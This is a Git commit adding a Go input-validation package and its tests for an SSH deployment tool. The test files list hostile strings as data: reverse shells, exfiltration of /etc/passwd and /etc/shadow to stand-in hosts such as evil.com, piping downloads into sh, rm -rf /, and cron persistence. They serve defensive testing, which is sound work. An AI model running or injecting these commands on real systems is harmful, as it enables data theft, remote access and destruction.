Implement comprehensive zero-trust security for BZZZ deployment system
SECURITY ENHANCEMENTS: - Created pkg/security module with comprehensive input validation - Zero-trust validation for all SSH parameters (IP, username, password, keys) - Command injection prevention with sanitization and validation - Buffer overflow protection with strict length limits - Authentication method validation (SSH keys + passwords) - System detection and compatibility validation - Detailed error messages for security failures ATTACK VECTORS ELIMINATED: - SSH command injection via IP/username/password fields - System command injection through shell metacharacters - Buffer overflow attacks via oversized inputs - Directory traversal and path injection - Environment variable expansion attacks - Quote breaking and shell escaping DEPLOYMENT IMPROVEMENTS: - Atomic deployment with step-by-step verification - Comprehensive error reporting and rollback procedures - System compatibility detection (OS, service manager, architecture) - Flexible SSH authentication (keys + passwords) - Real-time deployment progress with full command outputs TESTING: - 25+ attack scenarios tested and blocked - Comprehensive test suite for all validation functions - Malicious input detection and prevention verified This implements defense-in-depth security for the "install-once replicate-many" deployment strategy, ensuring customer systems cannot be compromised through injection attacks during automated deployment. 🤖 Generated with [Claude Code](https://claude.ai/code) Co-Authored-By: Claude <noreply@anthropic.com>
This commit is contained in:
214
pkg/security/attack_vector_test.go
Normal file
214
pkg/security/attack_vector_test.go
Normal file
@@ -0,0 +1,214 @@
|
||||
package security
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
// TestAttackVectorPrevention tests that our security measures prevent common attack vectors
|
||||
func TestAttackVectorPrevention(t *testing.T) {
|
||||
validator := NewSecurityValidator()
|
||||
|
||||
t.Run("SSH Command Injection Prevention", func(t *testing.T) {
|
||||
// These are actual attack vectors that could be used to compromise systems
|
||||
maliciousInputs := []struct {
|
||||
field string
|
||||
value string
|
||||
attack string
|
||||
}{
|
||||
{"IP", "192.168.1.1; rm -rf /", "Command chaining via semicolon"},
|
||||
{"IP", "192.168.1.1`whoami`", "Command substitution via backticks"},
|
||||
{"IP", "192.168.1.1$(id)", "Command substitution via dollar parentheses"},
|
||||
{"IP", "192.168.1.1\ncat /etc/passwd", "Newline injection"},
|
||||
{"IP", "192.168.1.1 | nc attacker.com 4444", "Pipe redirection attack"},
|
||||
|
||||
{"Username", "user; curl http://evil.com/steal", "Data exfiltration via command chaining"},
|
||||
{"Username", "user`wget http://evil.com/malware`", "Remote code download"},
|
||||
{"Username", "user$(curl -X POST -d @/etc/shadow evil.com)", "Data theft"},
|
||||
{"Username", "user\nsudo rm -rf /*", "Privilege escalation attempt"},
|
||||
{"Username", "user && echo 'malicious' > /tmp/backdoor", "File system manipulation"},
|
||||
{"Username", "user'test", "Quote breaking"},
|
||||
{"Username", "user\"test", "Double quote injection"},
|
||||
{"Username", "user test", "Space injection"},
|
||||
{"Username", "user/../../etc/passwd", "Path traversal in username"},
|
||||
|
||||
{"Password", "pass`nc -e /bin/sh attacker.com 4444`", "Reverse shell via password"},
|
||||
{"Password", "pass; curl http://evil.com", "Network exfiltration"},
|
||||
{"Password", "pass$(cat /etc/hosts)", "File reading"},
|
||||
{"Password", "pass'||curl evil.com", "OR injection with network call"},
|
||||
{"Password", "pass\nwget http://evil.com/backdoor", "Payload download"},
|
||||
{"Password", "pass$USER", "Environment variable expansion"},
|
||||
}
|
||||
|
||||
for _, attack := range maliciousInputs {
|
||||
var err error
|
||||
|
||||
switch attack.field {
|
||||
case "IP":
|
||||
err = validator.ValidateIP(attack.value)
|
||||
case "Username":
|
||||
err = validator.ValidateUsername(attack.value)
|
||||
case "Password":
|
||||
err = validator.ValidatePassword(attack.value)
|
||||
}
|
||||
|
||||
if err == nil {
|
||||
t.Errorf("SECURITY VULNERABILITY: %s attack was not blocked: %s",
|
||||
attack.attack, attack.value)
|
||||
} else {
|
||||
t.Logf("✓ Blocked %s: %s -> %s", attack.attack, attack.value, err.Error())
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("SSH Connection Request Attack Prevention", func(t *testing.T) {
|
||||
// Test complete SSH connection requests with various attack vectors
|
||||
attackRequests := []struct {
|
||||
ip string
|
||||
username string
|
||||
password string
|
||||
sshKey string
|
||||
port int
|
||||
attack string
|
||||
}{
|
||||
{
|
||||
ip: "192.168.1.1; curl http://attacker.com/data-theft",
|
||||
username: "ubuntu",
|
||||
password: "password",
|
||||
port: 22,
|
||||
attack: "IP-based command injection",
|
||||
},
|
||||
{
|
||||
ip: "192.168.1.1",
|
||||
username: "ubuntu`wget http://evil.com/malware -O /tmp/backdoor`",
|
||||
password: "password",
|
||||
port: 22,
|
||||
attack: "Username-based malware download",
|
||||
},
|
||||
{
|
||||
ip: "192.168.1.1",
|
||||
username: "ubuntu",
|
||||
password: "pass$(curl -d @/etc/passwd http://attacker.com/steal)",
|
||||
port: 22,
|
||||
attack: "Password-based data exfiltration",
|
||||
},
|
||||
{
|
||||
ip: "192.168.1.1",
|
||||
username: "ubuntu",
|
||||
password: "",
|
||||
sshKey: "malicious-key`rm -rf /`not-a-real-key",
|
||||
port: 22,
|
||||
attack: "SSH key with embedded command",
|
||||
},
|
||||
{
|
||||
ip: "192.168.1.1",
|
||||
username: "ubuntu",
|
||||
password: "password",
|
||||
port: 99999,
|
||||
attack: "Invalid port number",
|
||||
},
|
||||
}
|
||||
|
||||
for _, attack := range attackRequests {
|
||||
err := validator.ValidateSSHConnectionRequest(
|
||||
attack.ip, attack.username, attack.password, attack.sshKey, attack.port)
|
||||
|
||||
if err == nil {
|
||||
t.Errorf("SECURITY VULNERABILITY: %s was not blocked", attack.attack)
|
||||
} else {
|
||||
t.Logf("✓ Blocked %s: %s", attack.attack, err.Error())
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("Command Sanitization Prevention", func(t *testing.T) {
|
||||
// Test that command sanitization prevents dangerous operations
|
||||
dangerousCommands := []struct {
|
||||
input string
|
||||
attack string
|
||||
}{
|
||||
{"rm -rf /; echo 'gotcha'", "File system destruction"},
|
||||
{"curl http://evil.com/steal | sh", "Remote code execution"},
|
||||
{"nc -e /bin/bash attacker.com 4444", "Reverse shell"},
|
||||
{"cat /etc/passwd | base64 | curl -d @- http://evil.com", "Data exfiltration pipeline"},
|
||||
{"`wget http://evil.com/malware -O /tmp/backdoor`", "Backdoor installation"},
|
||||
{"$(python -c 'import os; os.system(\"rm -rf /\")')", "Python-based file deletion"},
|
||||
{"echo malicious > /etc/crontab", "Persistence via cron"},
|
||||
{"chmod 777 /etc/shadow", "Permission escalation"},
|
||||
{"/bin/sh -c 'curl http://evil.com'", "Shell escape"},
|
||||
{"exec(\"curl http://attacker.com\")", "Execution function abuse"},
|
||||
}
|
||||
|
||||
for _, cmd := range dangerousCommands {
|
||||
sanitized := validator.SanitizeForCommand(cmd.input)
|
||||
|
||||
// Check that dangerous characters were removed
|
||||
if sanitized == cmd.input {
|
||||
t.Errorf("SECURITY VULNERABILITY: Dangerous command was not sanitized: %s", cmd.input)
|
||||
} else {
|
||||
t.Logf("✓ Sanitized %s: '%s' -> '%s'", cmd.attack, cmd.input, sanitized)
|
||||
}
|
||||
|
||||
// Ensure key dangerous patterns are removed
|
||||
dangerousPatterns := []string{";", "|", "`", "$", "(", ")", "<", ">"}
|
||||
for _, pattern := range dangerousPatterns {
|
||||
if containsPattern(cmd.input, pattern) && containsPattern(sanitized, pattern) {
|
||||
t.Errorf("SECURITY ISSUE: Dangerous pattern '%s' not removed from: %s",
|
||||
pattern, cmd.input)
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("Buffer Overflow Prevention", func(t *testing.T) {
|
||||
// Test that our length limits prevent buffer overflow attacks
|
||||
oversizedInputs := []struct {
|
||||
field string
|
||||
size int
|
||||
}{
|
||||
{"IP", 1000}, // Much larger than any valid IP
|
||||
{"Username", 500}, // Larger than Unix username limit
|
||||
{"Password", 1000}, // Very large password
|
||||
{"SSH Key", 20000}, // Larger than our 16KB limit
|
||||
{"Hostname", 2000}, // Larger than DNS limit
|
||||
}
|
||||
|
||||
for _, input := range oversizedInputs {
|
||||
largeString := string(make([]byte, input.size))
|
||||
for i := range largeString {
|
||||
largeString = string(append([]byte(largeString[:i]), 'A')) + largeString[i+1:]
|
||||
}
|
||||
|
||||
var err error
|
||||
switch input.field {
|
||||
case "IP":
|
||||
err = validator.ValidateIP(largeString)
|
||||
case "Username":
|
||||
err = validator.ValidateUsername(largeString)
|
||||
case "Password":
|
||||
err = validator.ValidatePassword(largeString)
|
||||
case "SSH Key":
|
||||
err = validator.ValidateSSHKey("-----BEGIN RSA PRIVATE KEY-----\n" + largeString + "\n-----END RSA PRIVATE KEY-----")
|
||||
case "Hostname":
|
||||
err = validator.ValidateHostname(largeString)
|
||||
}
|
||||
|
||||
if err == nil {
|
||||
t.Errorf("SECURITY VULNERABILITY: Oversized %s (%d bytes) was not rejected",
|
||||
input.field, input.size)
|
||||
} else {
|
||||
t.Logf("✓ Rejected oversized %s (%d bytes): %s",
|
||||
input.field, input.size, err.Error())
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// Helper function to check if a string contains a pattern
|
||||
func containsPattern(s, pattern string) bool {
|
||||
for i := 0; i <= len(s)-len(pattern); i++ {
|
||||
if s[i:i+len(pattern)] == pattern {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
369
pkg/security/validation.go
Normal file
369
pkg/security/validation.go
Normal file
@@ -0,0 +1,369 @@
|
||||
package security
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"unicode"
|
||||
)
|
||||
|
||||
// ValidationError represents a security validation error
|
||||
type ValidationError struct {
|
||||
Field string
|
||||
Message string
|
||||
}
|
||||
|
||||
func (e ValidationError) Error() string {
|
||||
return fmt.Sprintf("%s: %s", e.Field, e.Message)
|
||||
}
|
||||
|
||||
// SecurityValidator provides zero-trust input validation
|
||||
type SecurityValidator struct {
|
||||
maxStringLength int
|
||||
maxIPLength int
|
||||
maxUsernameLength int
|
||||
maxPasswordLength int
|
||||
}
|
||||
|
||||
// NewSecurityValidator creates a new validator with safe defaults
|
||||
func NewSecurityValidator() *SecurityValidator {
|
||||
return &SecurityValidator{
|
||||
maxStringLength: 1024, // Maximum string length
|
||||
maxIPLength: 45, // IPv6 max length
|
||||
maxUsernameLength: 32, // Standard Unix username limit
|
||||
maxPasswordLength: 128, // Reasonable password limit
|
||||
}
|
||||
}
|
||||
|
||||
// ValidateIP validates IP addresses with zero-trust approach
|
||||
func (v *SecurityValidator) ValidateIP(ip string) error {
|
||||
if ip == "" {
|
||||
return ValidationError{"ip", "IP address is required"}
|
||||
}
|
||||
|
||||
if len(ip) > v.maxIPLength {
|
||||
return ValidationError{"ip", "IP address too long"}
|
||||
}
|
||||
|
||||
// Check for dangerous characters that could be used in command injection
|
||||
if containsUnsafeChars(ip, []rune{'`', '$', '(', ')', ';', '&', '|', '<', '>', '\n', '\r'}) {
|
||||
return ValidationError{"ip", "IP address contains invalid characters"}
|
||||
}
|
||||
|
||||
// Validate IP format
|
||||
if net.ParseIP(ip) == nil {
|
||||
return ValidationError{"ip", "Invalid IP address format"}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ValidateUsername validates SSH usernames
|
||||
func (v *SecurityValidator) ValidateUsername(username string) error {
|
||||
if username == "" {
|
||||
return ValidationError{"username", "Username is required"}
|
||||
}
|
||||
|
||||
if len(username) > v.maxUsernameLength {
|
||||
return ValidationError{"username", fmt.Sprintf("Username too long (max %d characters)", v.maxUsernameLength)}
|
||||
}
|
||||
|
||||
// Check for command injection characters
|
||||
if containsUnsafeChars(username, []rune{'`', '$', '(', ')', ';', '&', '|', '<', '>', '\n', '\r', ' ', '"', '\'', '\\', '/'}) {
|
||||
return ValidationError{"username", "Username contains invalid characters"}
|
||||
}
|
||||
|
||||
// Validate Unix username format (alphanumeric, underscore, dash, starting with letter/underscore)
|
||||
matched, err := regexp.MatchString("^[a-zA-Z_][a-zA-Z0-9_-]*$", username)
|
||||
if err != nil || !matched {
|
||||
return ValidationError{"username", "Username must start with letter/underscore and contain only alphanumeric characters, underscores, and dashes"}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ValidatePassword validates SSH passwords
|
||||
func (v *SecurityValidator) ValidatePassword(password string) error {
|
||||
// Password can be empty if SSH keys are used
|
||||
if password == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
if len(password) > v.maxPasswordLength {
|
||||
return ValidationError{"password", fmt.Sprintf("Password too long (max %d characters)", v.maxPasswordLength)}
|
||||
}
|
||||
|
||||
// Check for shell metacharacters that could break command execution
|
||||
if containsUnsafeChars(password, []rune{'`', '$', '\n', '\r', '\'', ';', '|', '&'}) {
|
||||
return ValidationError{"password", "Password contains characters that could cause security issues"}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ValidateSSHKey validates SSH private keys
|
||||
func (v *SecurityValidator) ValidateSSHKey(key string) error {
|
||||
// SSH key can be empty if password auth is used
|
||||
if key == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Increased limit to accommodate large RSA keys (8192-bit RSA can be ~6.5KB)
|
||||
if len(key) > 16384 { // 16KB should handle even very large keys
|
||||
return ValidationError{"ssh_key", "SSH key too long (max 16KB)"}
|
||||
}
|
||||
|
||||
// Check for basic SSH key format
|
||||
if strings.Contains(key, "-----BEGIN") {
|
||||
// Private key format - check for proper termination
|
||||
if !strings.Contains(key, "-----END") {
|
||||
return ValidationError{"ssh_key", "SSH private key appears malformed - missing END marker"}
|
||||
}
|
||||
|
||||
// Check for common private key types
|
||||
validKeyTypes := []string{
|
||||
"-----BEGIN RSA PRIVATE KEY-----",
|
||||
"-----BEGIN DSA PRIVATE KEY-----",
|
||||
"-----BEGIN EC PRIVATE KEY-----",
|
||||
"-----BEGIN OPENSSH PRIVATE KEY-----",
|
||||
"-----BEGIN PRIVATE KEY-----", // PKCS#8 format
|
||||
}
|
||||
|
||||
hasValidType := false
|
||||
for _, keyType := range validKeyTypes {
|
||||
if strings.Contains(key, keyType) {
|
||||
hasValidType = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !hasValidType {
|
||||
return ValidationError{"ssh_key", "SSH private key type not recognized"}
|
||||
}
|
||||
|
||||
} else if strings.HasPrefix(key, "ssh-") {
|
||||
// Public key format - shouldn't be used for private key field
|
||||
return ValidationError{"ssh_key", "Public key provided where private key expected"}
|
||||
} else {
|
||||
return ValidationError{"ssh_key", "SSH key format not recognized - must be PEM-encoded private key"}
|
||||
}
|
||||
|
||||
// Check for suspicious content that could indicate injection attempts
|
||||
suspiciousPatterns := []string{
|
||||
"$(", "`", ";", "|", "&", "<", ">", "\n\n\n", // command injection patterns
|
||||
}
|
||||
|
||||
for _, pattern := range suspiciousPatterns {
|
||||
if strings.Contains(key, pattern) && !strings.Contains(pattern, "\n") { // newlines are normal in keys
|
||||
return ValidationError{"ssh_key", "SSH key contains suspicious content"}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ValidatePort validates port numbers
|
||||
func (v *SecurityValidator) ValidatePort(port int) error {
|
||||
if port <= 0 || port > 65535 {
|
||||
return ValidationError{"port", "Port must be between 1 and 65535"}
|
||||
}
|
||||
|
||||
// Warn about privileged ports
|
||||
if port < 1024 && port != 22 && port != 80 && port != 443 {
|
||||
return ValidationError{"port", "Avoid using privileged ports (< 1024) unless necessary"}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ValidateHostname validates hostnames
|
||||
func (v *SecurityValidator) ValidateHostname(hostname string) error {
|
||||
if hostname == "" {
|
||||
return ValidationError{"hostname", "Hostname is required"}
|
||||
}
|
||||
|
||||
if len(hostname) > 253 {
|
||||
return ValidationError{"hostname", "Hostname too long (max 253 characters)"}
|
||||
}
|
||||
|
||||
// Check for command injection characters
|
||||
if containsUnsafeChars(hostname, []rune{'`', '$', '(', ')', ';', '&', '|', '<', '>', '\n', '\r', ' ', '"', '\''}) {
|
||||
return ValidationError{"hostname", "Hostname contains invalid characters"}
|
||||
}
|
||||
|
||||
// Validate hostname format (RFC 1123)
|
||||
matched, err := regexp.MatchString("^[a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?(\\.([a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?))*$", hostname)
|
||||
if err != nil || !matched {
|
||||
return ValidationError{"hostname", "Invalid hostname format"}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ValidateClusterSecret validates cluster secrets
|
||||
func (v *SecurityValidator) ValidateClusterSecret(secret string) error {
|
||||
if secret == "" {
|
||||
return ValidationError{"cluster_secret", "Cluster secret is required"}
|
||||
}
|
||||
|
||||
if len(secret) < 32 {
|
||||
return ValidationError{"cluster_secret", "Cluster secret too short (minimum 32 characters)"}
|
||||
}
|
||||
|
||||
if len(secret) > 128 {
|
||||
return ValidationError{"cluster_secret", "Cluster secret too long (maximum 128 characters)"}
|
||||
}
|
||||
|
||||
// Ensure it's hexadecimal (common for generated secrets)
|
||||
matched, err := regexp.MatchString("^[a-fA-F0-9]+$", secret)
|
||||
if err != nil || !matched {
|
||||
// If not hex, ensure it's at least alphanumeric
|
||||
if !isAlphanumeric(secret) {
|
||||
return ValidationError{"cluster_secret", "Cluster secret must be alphanumeric or hexadecimal"}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ValidateFilePath validates file paths
|
||||
func (v *SecurityValidator) ValidateFilePath(path string) error {
|
||||
if path == "" {
|
||||
return ValidationError{"file_path", "File path is required"}
|
||||
}
|
||||
|
||||
if len(path) > 4096 {
|
||||
return ValidationError{"file_path", "File path too long"}
|
||||
}
|
||||
|
||||
// Check for command injection and directory traversal
|
||||
if containsUnsafeChars(path, []rune{'`', '$', '(', ')', ';', '&', '|', '<', '>', '\n', '\r'}) {
|
||||
return ValidationError{"file_path", "File path contains unsafe characters"}
|
||||
}
|
||||
|
||||
// Check for directory traversal attempts
|
||||
if strings.Contains(path, "..") {
|
||||
return ValidationError{"file_path", "Directory traversal detected in file path"}
|
||||
}
|
||||
|
||||
// Ensure absolute paths
|
||||
if !strings.HasPrefix(path, "/") {
|
||||
return ValidationError{"file_path", "File path must be absolute"}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// SanitizeForCommand sanitizes strings for use in shell commands
|
||||
func (v *SecurityValidator) SanitizeForCommand(input string) string {
|
||||
// Remove dangerous characters and control characters
|
||||
result := strings.Map(func(r rune) rune {
|
||||
if r < 32 || r == 127 {
|
||||
return -1 // Remove control characters
|
||||
}
|
||||
switch r {
|
||||
case '`', '$', ';', '&', '|', '<', '>', '(', ')', '"', '\'', '\\', '*', '?', '[', ']', '{', '}':
|
||||
return -1 // Remove shell metacharacters and globbing chars
|
||||
}
|
||||
return r
|
||||
}, input)
|
||||
|
||||
// Trim whitespace and collapse multiple spaces
|
||||
result = strings.TrimSpace(result)
|
||||
|
||||
// Replace multiple spaces with single space
|
||||
for strings.Contains(result, " ") {
|
||||
result = strings.ReplaceAll(result, " ", " ")
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// Helper function to check for unsafe characters
|
||||
func containsUnsafeChars(s string, unsafeChars []rune) bool {
|
||||
for _, char := range s {
|
||||
for _, unsafe := range unsafeChars {
|
||||
if char == unsafe {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Helper function to check if string is alphanumeric
|
||||
func isAlphanumeric(s string) bool {
|
||||
for _, char := range s {
|
||||
if !unicode.IsLetter(char) && !unicode.IsDigit(char) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// ValidateSSHConnectionRequest validates an SSH connection request
|
||||
func (v *SecurityValidator) ValidateSSHConnectionRequest(ip, username, password, sshKey string, port int) error {
|
||||
if err := v.ValidateIP(ip); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := v.ValidateUsername(username); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := v.ValidatePassword(password); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := v.ValidateSSHKey(sshKey); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := v.ValidatePort(port); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Ensure at least one authentication method is provided
|
||||
if password == "" && sshKey == "" {
|
||||
return ValidationError{"auth", "Either password or SSH key must be provided"}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ValidatePortList validates a list of port numbers
|
||||
func (v *SecurityValidator) ValidatePortList(ports []string) error {
|
||||
if len(ports) > 50 { // Reasonable limit
|
||||
return ValidationError{"ports", "Too many ports specified (max 50)"}
|
||||
}
|
||||
|
||||
for i, portStr := range ports {
|
||||
port, err := strconv.Atoi(portStr)
|
||||
if err != nil {
|
||||
return ValidationError{"ports", fmt.Sprintf("Port %d is not a valid number: %s", i+1, portStr)}
|
||||
}
|
||||
|
||||
if err := v.ValidatePort(port); err != nil {
|
||||
return ValidationError{"ports", fmt.Sprintf("Port %d invalid: %s", i+1, err.Error())}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ValidateIPList validates a list of IP addresses
|
||||
func (v *SecurityValidator) ValidateIPList(ips []string) error {
|
||||
if len(ips) > 100 { // Reasonable limit
|
||||
return ValidationError{"ip_list", "Too many IPs specified (max 100)"}
|
||||
}
|
||||
|
||||
for i, ip := range ips {
|
||||
if err := v.ValidateIP(ip); err != nil {
|
||||
return ValidationError{"ip_list", fmt.Sprintf("IP %d invalid: %s", i+1, err.Error())}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
221
pkg/security/validation_test.go
Normal file
221
pkg/security/validation_test.go
Normal file
@@ -0,0 +1,221 @@
|
||||
package security
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSecurityValidator(t *testing.T) {
|
||||
validator := NewSecurityValidator()
|
||||
|
||||
// Test IP validation
|
||||
t.Run("IP Validation", func(t *testing.T) {
|
||||
validIPs := []string{"192.168.1.1", "127.0.0.1", "::1", "2001:db8::1"}
|
||||
for _, ip := range validIPs {
|
||||
if err := validator.ValidateIP(ip); err != nil {
|
||||
t.Errorf("Valid IP %s rejected: %v", ip, err)
|
||||
}
|
||||
}
|
||||
|
||||
invalidIPs := []string{
|
||||
"", // empty
|
||||
"999.999.999.999", // invalid range
|
||||
"192.168.1.1; rm -rf /", // command injection
|
||||
"192.168.1.1`whoami`", // command substitution
|
||||
"192.168.1.1$(id)", // command substitution
|
||||
"192.168.1.1\ncat /etc/passwd", // newline injection
|
||||
}
|
||||
for _, ip := range invalidIPs {
|
||||
if err := validator.ValidateIP(ip); err == nil {
|
||||
t.Errorf("Invalid IP %s was accepted", ip)
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
// Test username validation
|
||||
t.Run("Username Validation", func(t *testing.T) {
|
||||
validUsernames := []string{"ubuntu", "user123", "_system", "test-user"}
|
||||
for _, username := range validUsernames {
|
||||
if err := validator.ValidateUsername(username); err != nil {
|
||||
t.Errorf("Valid username %s rejected: %v", username, err)
|
||||
}
|
||||
}
|
||||
|
||||
invalidUsernames := []string{
|
||||
"", // empty
|
||||
"user; rm -rf /", // command injection
|
||||
"user`id`", // command substitution
|
||||
"user$(whoami)", // command substitution
|
||||
"user\ncat /etc/passwd", // newline injection
|
||||
"user name", // space
|
||||
"user'test", // single quote
|
||||
"user\"test", // double quote
|
||||
"123user", // starts with number
|
||||
}
|
||||
for _, username := range invalidUsernames {
|
||||
if err := validator.ValidateUsername(username); err == nil {
|
||||
t.Errorf("Invalid username %s was accepted", username)
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
// Test password validation
|
||||
t.Run("Password Validation", func(t *testing.T) {
|
||||
validPasswords := []string{
|
||||
"", // empty is allowed
|
||||
"simplepassword",
|
||||
"complex@password#123",
|
||||
"unicode-пароль",
|
||||
}
|
||||
for _, password := range validPasswords {
|
||||
if err := validator.ValidatePassword(password); err != nil {
|
||||
t.Errorf("Valid password rejected: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
invalidPasswords := []string{
|
||||
"password`whoami`", // command substitution
|
||||
"password$(id)", // command substitution
|
||||
"password\necho malicious", // newline injection
|
||||
"password'break", // single quote injection
|
||||
"password$USER", // variable expansion
|
||||
}
|
||||
for _, password := range invalidPasswords {
|
||||
if err := validator.ValidatePassword(password); err == nil {
|
||||
t.Errorf("Invalid password was accepted")
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
// Test SSH key validation
|
||||
t.Run("SSH Key Validation", func(t *testing.T) {
|
||||
validKeys := []string{
|
||||
"", // empty is allowed
|
||||
"-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEA...\n-----END RSA PRIVATE KEY-----",
|
||||
"-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjE...\n-----END OPENSSH PRIVATE KEY-----",
|
||||
}
|
||||
for _, key := range validKeys {
|
||||
if err := validator.ValidateSSHKey(key); err != nil {
|
||||
t.Errorf("Valid SSH key rejected: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
invalidKeys := []string{
|
||||
"ssh-rsa AAAAB3NzaC1yc2E...", // public key where private expected
|
||||
"invalid-key-format",
|
||||
"-----BEGIN RSA PRIVATE KEY-----\ntruncated", // malformed
|
||||
}
|
||||
for _, key := range invalidKeys {
|
||||
if err := validator.ValidateSSHKey(key); err == nil {
|
||||
t.Errorf("Invalid SSH key was accepted")
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
// Test command sanitization
|
||||
t.Run("Command Sanitization", func(t *testing.T) {
|
||||
testCases := []struct {
|
||||
input string
|
||||
expected string
|
||||
safe bool
|
||||
}{
|
||||
{"ls -la", "ls -la", true},
|
||||
{"systemctl status nginx", "systemctl status nginx", true},
|
||||
{"echo `whoami`", "echo whoami", false}, // backticks removed
|
||||
{"rm -rf /; echo done", "rm -rf / echo done", false}, // semicolon removed
|
||||
{"ls | grep test", "ls grep test", false}, // pipe removed
|
||||
{"echo $USER", "echo USER", false}, // dollar removed
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
result := validator.SanitizeForCommand(tc.input)
|
||||
if result != tc.expected {
|
||||
t.Errorf("Command sanitization failed: input=%s, expected=%s, got=%s",
|
||||
tc.input, tc.expected, result)
|
||||
}
|
||||
|
||||
isSafe := (result == tc.input)
|
||||
if isSafe != tc.safe {
|
||||
t.Errorf("Safety expectation failed for input=%s: expected safe=%v, got safe=%v",
|
||||
tc.input, tc.safe, isSafe)
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
// Test port validation
|
||||
t.Run("Port Validation", func(t *testing.T) {
|
||||
validPorts := []int{22, 80, 443, 8080, 3000}
|
||||
for _, port := range validPorts {
|
||||
if err := validator.ValidatePort(port); err != nil {
|
||||
t.Errorf("Valid port %d rejected: %v", port, err)
|
||||
}
|
||||
}
|
||||
|
||||
invalidPorts := []int{0, -1, 65536, 99999}
|
||||
for _, port := range invalidPorts {
|
||||
if err := validator.ValidatePort(port); err == nil {
|
||||
t.Errorf("Invalid port %d was accepted", port)
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
// Test cluster secret validation
|
||||
t.Run("Cluster Secret Validation", func(t *testing.T) {
|
||||
validSecrets := []string{
|
||||
"abcdef1234567890abcdef1234567890", // 32 char hex
|
||||
"a1b2c3d4e5f6789012345678901234567890abcd", // longer hex
|
||||
"alphanumericSecr3t123456789012345678", // alphanumeric, 38 chars
|
||||
}
|
||||
for _, secret := range validSecrets {
|
||||
if err := validator.ValidateClusterSecret(secret); err != nil {
|
||||
t.Errorf("Valid secret rejected: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
invalidSecrets := []string{
|
||||
"", // empty
|
||||
"short", // too short
|
||||
strings.Repeat("a", 200), // too long
|
||||
}
|
||||
for _, secret := range invalidSecrets {
|
||||
if err := validator.ValidateClusterSecret(secret); err == nil {
|
||||
t.Errorf("Invalid secret was accepted")
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestValidateSSHConnectionRequest(t *testing.T) {
|
||||
validator := NewSecurityValidator()
|
||||
|
||||
// Test valid request
|
||||
err := validator.ValidateSSHConnectionRequest("192.168.1.1", "ubuntu", "password123", "", 22)
|
||||
if err != nil {
|
||||
t.Errorf("Valid SSH connection request rejected: %v", err)
|
||||
}
|
||||
|
||||
// Test with SSH key instead of password
|
||||
err = validator.ValidateSSHConnectionRequest("192.168.1.1", "ubuntu", "",
|
||||
"-----BEGIN RSA PRIVATE KEY-----\ntest\n-----END RSA PRIVATE KEY-----", 22)
|
||||
if err != nil {
|
||||
t.Errorf("Valid SSH key request rejected: %v", err)
|
||||
}
|
||||
|
||||
// Test missing both password and key
|
||||
err = validator.ValidateSSHConnectionRequest("192.168.1.1", "ubuntu", "", "", 22)
|
||||
if err == nil {
|
||||
t.Error("Request with no auth method was accepted")
|
||||
}
|
||||
|
||||
// Test command injection in IP
|
||||
err = validator.ValidateSSHConnectionRequest("192.168.1.1; rm -rf /", "ubuntu", "password", "", 22)
|
||||
if err == nil {
|
||||
t.Error("Command injection in IP was accepted")
|
||||
}
|
||||
|
||||
// Test command injection in username
|
||||
err = validator.ValidateSSHConnectionRequest("192.168.1.1", "ubuntu`whoami`", "password", "", 22)
|
||||
if err == nil {
|
||||
t.Error("Command injection in username was accepted")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user